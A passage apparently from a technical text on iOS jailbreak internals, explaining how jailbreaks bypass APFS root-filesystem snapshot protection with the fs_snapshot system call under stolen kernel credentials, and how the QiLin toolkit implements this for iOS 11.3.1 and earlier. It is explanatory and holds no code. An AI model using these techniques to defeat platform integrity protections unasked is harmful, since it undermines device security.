creating a new snapshot, and renaming it to match the initial snapshot name (i.e.
com.apple.os.update-GUID@/dev/disk0s1s1). The process (detailed by Uamng 
Raghuvanshi in a blog post) is straightforward using libsystem_kernel's
fs_snapshot_[create/rename](2) wrappers over the fs_snapshot (#519) 
system call. Although the system call normally requires an entitlement, at this point the 
jailbreak would have kernel credentials. Example source code of a fake-entitled binary to 
selectively snapshot the system can be found in the QiLin download page.

The secondary mount method tends to be unstable and can lead to a panic (kernel
data abort) on the copied mount data pointer if the mount is unmounted. A rigorous
method to bypass would involve the re-creation, rather than duplication of the private
APFS mount data. With the data format being entirely undocumented, however, this is
quite challenging. Still, for developer-oriented jailbreaks, this solution proves sufficient.

The QiLin toolkit (revision 6 and later) contains an implementation of Spark's method, with
minor enhancements. These are transparently called through QiLin's remountRootFS(void).
LiberiOS and LiberTV, both using the toolkit, thus also now support this method and are
compatible with iOS 11.3.1 and earlier.
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